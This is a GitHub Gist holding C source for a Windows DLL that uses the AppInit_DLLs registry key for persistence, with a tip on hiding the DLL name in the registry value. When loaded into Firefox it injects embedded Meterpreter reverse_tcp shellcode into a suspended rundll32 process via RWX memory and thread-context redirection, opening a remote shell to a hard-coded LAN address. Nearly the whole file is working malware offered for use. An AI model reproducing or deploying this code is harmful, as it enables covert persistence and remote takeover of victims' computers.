Last active
October 12, 2023 23:19
-
-
Save Arno0x/d6b69e7ea1c49402aeb2b28a2398e0b4 to your computer and use it in GitHub Desktop.
AppInit_DLLs injection
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll | |
// | |
// This DLL can only be injected in a x64 process | |
// | |
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll) | |
// by using the AppInit_DLLs capability: | |
// | |
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required) | |
// One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name | |
// | |
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1 (to enable this mecanism) | |
#include <windows.h> | |
#define SCSIZE 2048 | |
// Meterpreter shellcode obtained with 'msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.134 -f c | |
unsigned char code[SCSIZE] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" | |
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" | |
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" | |
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" | |
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" | |
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" | |
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" | |
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" | |
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" | |
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" | |
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" | |
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" | |
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" | |
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" | |
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" | |
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" | |
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x34\x86\x41\x54\x49\x89\xe4" | |
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" | |
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05" | |
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" | |
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" | |
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" | |
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" | |
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" | |
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" | |
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" | |
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" | |
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" | |
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" | |
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" | |
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" | |
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" | |
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" | |
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; | |
void ExecutePayload(void); | |
/* hand-rolled bzero allows us to avoid including ms vc runtime */ | |
void inline_bzero(void *p, size_t l) | |
{ | |
BYTE *q = (BYTE *)p; | |
size_t x = 0; | |
for (x = 0; x < l; x++) | |
*(q++) = 0x00; | |
} | |
// We can only rely on Kernel32.dll API, so recreate an own made strstr() string comparison function in pure C | |
char* StrStr(char *str, char *substr) | |
{ | |
while (*str) | |
{ | |
char *Begin = str; | |
char *pattern = substr; | |
// If first character of sub string match, check for whole string | |
while (*str && *pattern && *str == *pattern) | |
{ | |
str++; | |
pattern++; | |
} | |
// If complete sub string match, return starting address | |
if (!*pattern) | |
return Begin; | |
str = Begin + 1; // Increament main string | |
} | |
return NULL; | |
} | |
BOOL WINAPI | |
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) | |
{ | |
// String to hold the name of the current process | |
TCHAR filePath[2048]; | |
switch (dwReason) | |
{ | |
case DLL_PROCESS_ATTACH: | |
// Retrieving the name of the current process and save it into the filePath variable | |
GetModuleFileName(NULL, filePath, 2048); | |
// If the current process is 'firefox' (and is 64 bits) then, inject the shellcode into a rundll subprocess | |
if (StrStr(filePath, "firefox")) { | |
ExecutePayload(); | |
} | |
break; | |
case DLL_PROCESS_DETACH: | |
// Code to run when the DLL is freed | |
break; | |
case DLL_THREAD_ATTACH: | |
// Code to run when a thread is created during the DLL's lifetime | |
break; | |
case DLL_THREAD_DETACH: | |
// Code to run when a thread ends normally. | |
break; | |
} | |
return TRUE; | |
} | |
void ExecutePayload(void) { | |
int error; | |
PROCESS_INFORMATION pi; | |
STARTUPINFO si; | |
CONTEXT ctx; | |
DWORD prot; | |
LPVOID ep; | |
// Start up the payload in a new process | |
inline_bzero( &si, sizeof( si )); | |
si.cb = sizeof(si); | |
// Create a suspended process, write shellcode into stack, make stack RWX, resume it | |
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) { | |
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL; | |
GetThreadContext(pi.hThread, &ctx); | |
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0); | |
ctx.Rip = (DWORD64)ep; | |
SetThreadContext(pi.hThread,&ctx); | |
ResumeThread(pi.hThread); | |
CloseHandle(pi.hThread); | |
CloseHandle(pi.hProcess); | |
} | |
// ExitProcess(0); | |
// ExitThread(0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
It can be found somewhere in your visual studio tools folder. You can use it with the visual studio command prompt